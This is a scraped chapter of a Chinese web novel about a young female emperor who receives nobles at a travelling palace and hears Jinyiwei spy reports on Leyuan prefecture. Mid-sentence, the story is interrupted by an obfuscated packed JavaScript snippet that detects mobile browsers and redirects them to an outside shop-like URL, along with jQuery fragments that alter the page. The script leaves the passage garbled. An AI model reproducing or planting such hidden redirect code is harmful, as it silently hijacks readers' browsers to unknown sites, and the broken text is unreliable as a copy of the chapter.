22.第 22 章
作品:《太傅给我当牛马》 翌日,天边刚泛起鱼肚白,行宫门外已经黑压压跪了一地的人。
众人从卯时跪到现在,已近一个时辰,晨露重,他们的官袍早已洇湿一片,却无人敢动。
永昌伯李高悄悄抬眼,看了看紧闭的宫门,又看了看前面信国公徐桓和定远候赵元真纹丝不动的背影,心里七上八下的。
昨天那事,他回去一夜没睡。
那个拦路少年递进去的到底是什么东西?
皇上为什么连车都不下?
今天这一大早把他们晾在这儿,又是几个意思?
姜知玉早就知道了众人跪在行宫门口,但她还是慢条斯理地用完了早膳,才让张秉德把人叫进来。
辰时正,宫门终于开了。
张秉德缓步而出,扫了一眼跪着的众人,才不疾不徐地道:“皇上有旨,宣诸臣觐见。”
众人如蒙大赦,纷纷起身。
但他们的腿早已经跪得麻痹,此时一动,便像针扎一般,只得忍着痛,龇牙咧嘴地站了起来。
进了行宫正殿,姜知玉已在御座上端坐。
今日她只穿了一身明黄常服,年轻的面容上没什么表情,目光从众人身上缓缓扫过,却不怒自威。
“臣等叩见皇上。”众人齐声跪拜。
姜知玉悠悠地端起茶盏,饮了一口,才不紧不慢地开口:“都起来吧,赐座。”
众人谢恩后,才战战兢兢地落了座。
姜知玉放下茶盏,面上带了几分笑意,语气也温和:“朕此行是为祭祖,原不想惊动太多人。诸位都是开国功勋之后和守卫乐源的肱骨大臣,太祖当年起兵时多亏诸位的先祖扶持,如今虽已隔数代,但这份恩情,朕心里是记着的。”
众人刚刚吃完两顿下马威,此刻又听闻皇上感怀旧恩的话,一时猜不透皇上的心思,于是只有纷纷表忠谦辞几句。
姜知玉接着说了下去:“朕昨日进城时,一路看着这乐源的风物,心里感慨万千,太祖当年就是从这片土地走出去的,一步一步,才打下了这万里江山。”
她顿了顿,目光落在众人脸上:“这份基业,来之不易。可朕也常想,江山打下来不容易,但要守住它,又更艰难。太祖当年带着你们的先祖浴血奋战,为的是什么?为的是让后世子孙,能过上安稳日子,能让百姓安居乐业。”
姜知玉看向徐桓,微微一笑:“信国公,你说是不是这个理?”
徐桓心头一凛,连忙起身:“皇上圣明!臣等世受国恩,自当殚精竭虑,为皇上分忧,为社稷效力!”
姜知玉感慨道:“徐川将军乃是太祖发小,当年他们一同放牛,一同参军,在战场上徐大将军更是为太祖数次挡刀。”
徐桓躬身道:“先祖微功,不敢劳皇上挂怀。”
姜知玉的目光转向定远侯赵元真:“当年太祖起兵,赵家倾全族之力相助,这份情谊,太祖记了一辈子。”
赵元真连忙起身,连称不敢。
她又看向永昌伯李高:“永昌伯的祖父李大牛将军,在北征战场上浴血奋战,积功封伯。”
李高立马诚惶诚恐地起身谢恩。
姜知玉如同可汗大点兵一般,对着殿中的勋贵们,依次点出旧日的功勋与恩宠。
明明是夸奖和叙旧的话,但是被点到的人,都心惊胆战出了一身冷汗。
徐桓表面上还维持着笑容,心里却在骂娘,这个小皇帝今日来了乐源府耀武扬威,要不是当年自家先祖挡刀,这个江山哪里轮得到姓姜的来坐。
赵元真倒是谨慎了了许多,他已经意识到,皇帝虽然才十七岁,但是已经君威日显,手段不容小觑。
李高则像个鹌鹑一样,缩在人群里,他想当个隐形人,只求别再被皇上点到名。
姜知玉将众人的反应看在眼里,她面上不露声色,心里却已将这些人掂量了一遍。
赵桓爵位最高,他原本是乐源的土皇帝,这两日在她这里被下了面子,心里自然愤愤不平。
赵元真生得白净富态,最擅长左右逢源,在勋贵圈里人缘极好,但这位“老好人”侯爷,承爵之后,名下田产翻了一倍。
李高则是个赌鬼,靠挥霍祖产度日,不成气候。
众多地方官员里,知府周怀仁坐得规规矩矩,看不出什么异样,其他同知、通判们却有的神色坦然,有的坐立不安,还有几个头都不敢抬。
最后,姜知玉的目光,落在了那个挺拔的身影。
那人穿着正三品的武官服,身形壮硕,目光清明正直,他的脸膛黝黑,棱角分明,一看就是常年在军营里摸爬滚打的人。
中都留守司指挥使,沈韬。
中都留守司,是太祖当年在乐源设立的特殊衙门,负责拱卫皇陵、镇守龙兴之地,指挥使手握三万精兵,不归五军都督府管,而是直接听命于皇帝。
这职位,说是地方官,实则应是天子亲信。
但是古代交通不便,这山高皇帝远的,除了一月一封的奏折,姜知玉还是第一次见他。
这沈韬,是个看不出深浅的,手上还有重兵,若是他也有问题,处理起来就还需慎重一些。
今天没什么要事,众人只是来请安,姜知玉也只是认个脸,时间差不多了,便打发众人回去道:“行了,今日差不多了,诸位且回吧,几日后的祭典,还有得忙。”
众人这才如蒙大赦,纷纷起身告退。
===
午膳之后,陆时渊带着先前派出的那一队锦衣卫,进宫汇报来了。
本次锦衣卫带队的人是陆谏,从四品的锦衣卫镇抚使,掌管诏狱,跟陆时渊同出一族。
陆谏已经是三十五六岁年纪,他面容冷峻,眼神锐利,一身寻常的青布直裰,也掩不住那股行伍气息。
陆谏行过礼后,从怀中取出一份地图,铺在案上。
乐源府幅员广阔,太祖当初将周边大量地区都划入府内,如今乐源下辖五州十三县,人口上百万,面积接近四万平方公里,算是一个情况较好的中府。
“臣奉旨提前半个月潜入乐源,分派一百名锦衣卫,扮作商贩、香客、乞丐等,散在乐源各州县,这是这半个月探查到的情况。”
姜知玉凑过去看那地图,上面密密麻麻标着记号。
陆谏指着地图上的标注,一条一条说下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215410|197069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去:“乐源府城内,共有勋贵府邸八处,其中……”
他顿了顿,手指点向几处标记:“信国公府、定远侯府、永昌伯府,这三家没有发现大动作。府邸内外一切如常。锦衣卫蹲了半个月,只看见定远侯府的账房先生正常进出,永昌伯家的管家去茶楼喝了两次茶,信国公府……最安静,像什么事都没发生。”
姜知玉和陆时渊对视了一眼,便心中了然。
这些老狐狸动作还挺快,想必是在朝中早有耳目,还不等锦衣卫到达,就暗中处理好了一切。
“其他五家呢?”
陆谏的手指移向地图上另外几处标记:“这五家,动作都不小,有的连夜往外运东西,有的频繁召集庄头密议。”
他指向其中一处,“永宁伯府,四月初一那夜,后门出来两辆骡车,用油布盖着,往城外去了,锦衣卫跟了二十里,发现他们把东西运进了一座山间的废庙。”
“废庙?”姜知玉看向陆时渊。
陆时渊微微颔首:“已把人和骡车都拘下了,只等细细盘问。”
姜知玉继续问:“留守司指挥使沈韬是否有异动?”
陆谏摇头道:“暂无。”
“社学情况如何?”
“乐源府十八个州县内,共有社学一百二十所。”陆谏斟酌了一下用词,“情况……参差不齐。”
他指着不同颜色的标记,道:“这七个县,社学经办情况良好。这三个县,校舍破败,学生寥寥。其余八县,校舍被占,无人入学。”
姜知玉眉头蹙起:“被占了?被谁占了?”
陆谏道:“一时还查不清,有的说是当地乡绅,有的说是勋贵家的庄头,锦衣卫没敢惊动,只是记下了位置。”
姜知玉沉默了。
这乐源府,倒真是水深。
有背景深厚,手段高明的,在锦衣卫的探查下都遮掩得天衣无缝。
还有消息灵通,动作迅速,想早早把证据销毁的。
半晌后,姜知玉看向陆时渊,问道:“那拦驾的少年,醒了吗?”
陆时渊摇头:“还没有,依旧高烧不退,身份也还在探查中。”
……
三人议事已经到了尾声,张秉德来报,中都留守司守备太监何安前来觐见。
中都留守司中,设有守备太监一职,主要是有司礼监会同内官监选派,用作监督皇陵祭祀、修缮事务之用。
姜知玉不知道还有这号人物,她疑惑地看向张秉德。
赵秉德如今司礼监掌印太监,最是一清二楚,便解惑道:“回禀皇上,何安乃是二十年前内官监派来皇陵值守的太监之一,十年前,前任守备太监去世,后由何安接任此职。”
姜知玉:“既然如此,便让他进来吧。”
通传声落,何安便低着头快步趋入。
他身材干瘦,穿着深青色的太监服,走到殿中央,便立马双膝跪地,行了一个大礼:“奴才何安,叩见皇上。”
姜知玉道:“起来吧,你所来何事?”
那何安却并不起身,而是伏在地上瑟瑟发抖,道:“奴才有罪,来向皇上请罪。”

